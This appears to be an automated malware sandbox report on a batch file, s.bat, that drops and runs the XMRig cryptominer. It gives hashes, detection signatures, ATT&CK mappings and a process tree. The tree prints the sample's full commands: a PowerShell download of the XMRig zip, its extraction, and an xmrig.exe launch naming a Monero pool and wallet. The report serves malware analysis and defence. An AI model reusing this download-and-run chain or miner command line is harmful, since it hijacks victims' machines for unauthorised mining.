xmrig | 1572be5be48b2559b80405a61761e6377ceb81c4b67ffeeeaa9a9819b9e5716a

General

Target

s.bat
Size

1KB
MD5

f9e0161fac70cf9d9935e2f8d1f1891e
SHA1

a6a1efcdb0c9dc7dee578400e7b3e7fc7eda50cc
SHA256

1572be5be48b2559b80405a61761e6377ceb81c4b67ffeeeaa9a9819b9e5716a
SHA512

e5a2fad1a1b002620dc9d85bf6c041527cb614d9bacaa010f152d3bf39ca8838c55aec18534c19283f751645879b9c1cb7fe7567820093d7ada609a06d893bcf

Score

10^/10

xmrig execution miner

Malware Config

Signatures

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral4/files/0x001900000002aabd-57.dat	family_xmrig
behavioral4/files/0x001900000002aabd-57.dat	xmrig

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	4104	powershell.exe
3	4104	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4104	powershell.exe
768	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2244	xmrig.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4104	powershell.exe
4104	powershell.exe
768	powershell.exe
768	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4104	powershell.exe
Token: SeDebugPrivilege	768	powershell.exe
Token: SeLockMemoryPrivilege	2244	xmrig.exe
Token: SeLockMemoryPrivilege	2244	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2244	xmrig.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 1064 wrote to memory of 4104	1064	cmd.exe	78
PID 1064 wrote to memory of 4104	1064	cmd.exe	78
PID 1064 wrote to memory of 768	1064	cmd.exe	79
PID 1064 wrote to memory of 768	1064	cmd.exe	79
PID 1064 wrote to memory of 2272	1064	cmd.exe	80
PID 1064 wrote to memory of 2272	1064	cmd.exe	80
PID 1064 wrote to memory of 4284	1064	cmd.exe	81
PID 1064 wrote to memory of 4284	1064	cmd.exe	81
PID 1064 wrote to memory of 2924	1064	cmd.exe	82
PID 1064 wrote to memory of 2924	1064	cmd.exe	82
PID 1064 wrote to memory of 468	1064	cmd.exe	83
PID 1064 wrote to memory of 468	1064	cmd.exe	83
PID 1064 wrote to memory of 1476	1064	cmd.exe	84
PID 1064 wrote to memory of 1476	1064	cmd.exe	84
PID 1064 wrote to memory of 1820	1064	cmd.exe	85
PID 1064 wrote to memory of 1820	1064	cmd.exe	85
PID 1064 wrote to memory of 4152	1064	cmd.exe	86
PID 1064 wrote to memory of 4152	1064	cmd.exe	86
PID 1064 wrote to memory of 688	1064	cmd.exe	87
PID 1064 wrote to memory of 688	1064	cmd.exe	87
PID 1064 wrote to memory of 2244	1064	cmd.exe	88
PID 1064 wrote to memory of 2244	1064	cmd.exe	88

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\s.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-msvc-win64.zip -OutFile C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Expand-Archive -Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip -DestinationPath C:\Users\Admin\AppData\Local\Temp\xmrig"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 17
  2⤵
  PID:2272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 26
  2⤵
  PID:4284
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 15
  2⤵
  PID:2924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 34
  2⤵
  PID:468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 11
  2⤵
  PID:1476
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 9
  2⤵
  PID:1820
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 28
  2⤵
  PID:4152
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 9
  2⤵
  PID:688
- C:\Users\Admin\AppData\Local\Temp\xmrig\xmrig-6.22.2\xmrig.exe
  "C:\Users\Admin\AppData\Local\Temp\xmrig\xmrig-6.22.2\xmrig.exe" --donate-level 1 -o de.monero.herominers.com:1111 -u solo:46snjQGRP7EaVq5ByVkqeeQhDoNXfpLgeVUfyafhuoan4SdE6Sn3BVs4C4hykg6y3yWK5w1prCjx84nYs7egieBuAEG2YUX -p p1_ -a rx/0 -k
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:2244

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
5f4c933102a824f41e258078e34165a7

SHA1
d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee

SHA256
d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2

SHA512
a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
5e6baeec02c3d93dce26652e7acebc90

SHA1
937a7b4a0d42ea56e21a1a00447d899a2aca3c28

SHA256
137bf90e25dbe4f70e614b7f6e61cba6c904c664858e1fe2bc749490b4a064c0

SHA512
461990704004d7be6f273f1cee94ea73e2d47310bac05483fd98e3c8b678c42e7625d799ac76cf47fe5e300e7d709456e8c18f9854d35deb8721f6802d24bea4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3wtuf5fb.5iq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip

Filesize
2.5MB

MD5
57b7ab5bce7d5e47fd168e1f0d437d32

SHA1
050eeae3e0f0e876f9da175347b586871d14fe83

SHA256
1d903d39c7e4e1706c32c44721d6a6c851aa8c4c10df1479478ee93cd67301bc

SHA512
8cc6e3e0e78f706172a47bef261e1d73ce882ce531fe51177ba46cee659128e2115311d348ca07a717ff737e4bc802c7ca4cc57de716cbe55202b9482b5e2022

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig\xmrig-6.22.2\xmrig.exe

Filesize
6.1MB

MD5
f6d520ae125f03056c4646c508218d16

SHA1
f65e63d14dd57eadb262deaa2b1a8a965a2a962c

SHA256
d2fcf28897ddc2137141d838b734664ff7592e03fcd467a433a51cb4976b4fb1

SHA512
d1ec3da141ce504993a0cbf8ea4b719ffa40a2be4941c18ffc64ec3f71435f7bddadda6032ec0ae6cada66226ee39a2012079ed318df389c7c6584ad3e1c334d

Download Submit
memory/768-30-0x00007FFB4E590000-0x00007FFB4F052000-memory.dmp

Filesize
10.8MB

Download
memory/768-31-0x000001CA339C0000-0x000001CA339D2000-memory.dmp

Filesize
72KB

Download
memory/768-18-0x00007FFB4E590000-0x00007FFB4F052000-memory.dmp

Filesize
10.8MB

Download
memory/768-19-0x00007FFB4E590000-0x00007FFB4F052000-memory.dmp

Filesize
10.8MB

Download
memory/768-20-0x00007FFB4E590000-0x00007FFB4F052000-memory.dmp

Filesize
10.8MB

Download
memory/768-55-0x00007FFB4E590000-0x00007FFB4F052000-memory.dmp

Filesize
10.8MB

Download
memory/768-32-0x000001CA1B810000-0x000001CA1B81A000-memory.dmp

Filesize
40KB

Download
memory/2244-59-0x000001BD74EB0000-0x000001BD74ED0000-memory.dmp

Filesize
128KB

Download
memory/4104-0-0x00007FFB4E593000-0x00007FFB4E595000-memory.dmp

Filesize
8KB

Download
memory/4104-16-0x00007FFB4E590000-0x00007FFB4F052000-memory.dmp

Filesize
10.8MB

Download
memory/4104-10-0x00007FFB4E590000-0x00007FFB4F052000-memory.dmp

Filesize
10.8MB

Download
memory/4104-11-0x00007FFB4E590000-0x00007FFB4F052000-memory.dmp

Filesize
10.8MB

Download
memory/4104-9-0x0000024C4D6D0000-0x0000024C4D6F2000-memory.dmp

Filesize
136KB

Download
memory/4104-12-0x00007FFB4E590000-0x00007FFB4F052000-memory.dmp

Filesize
10.8MB

Download

Analysis

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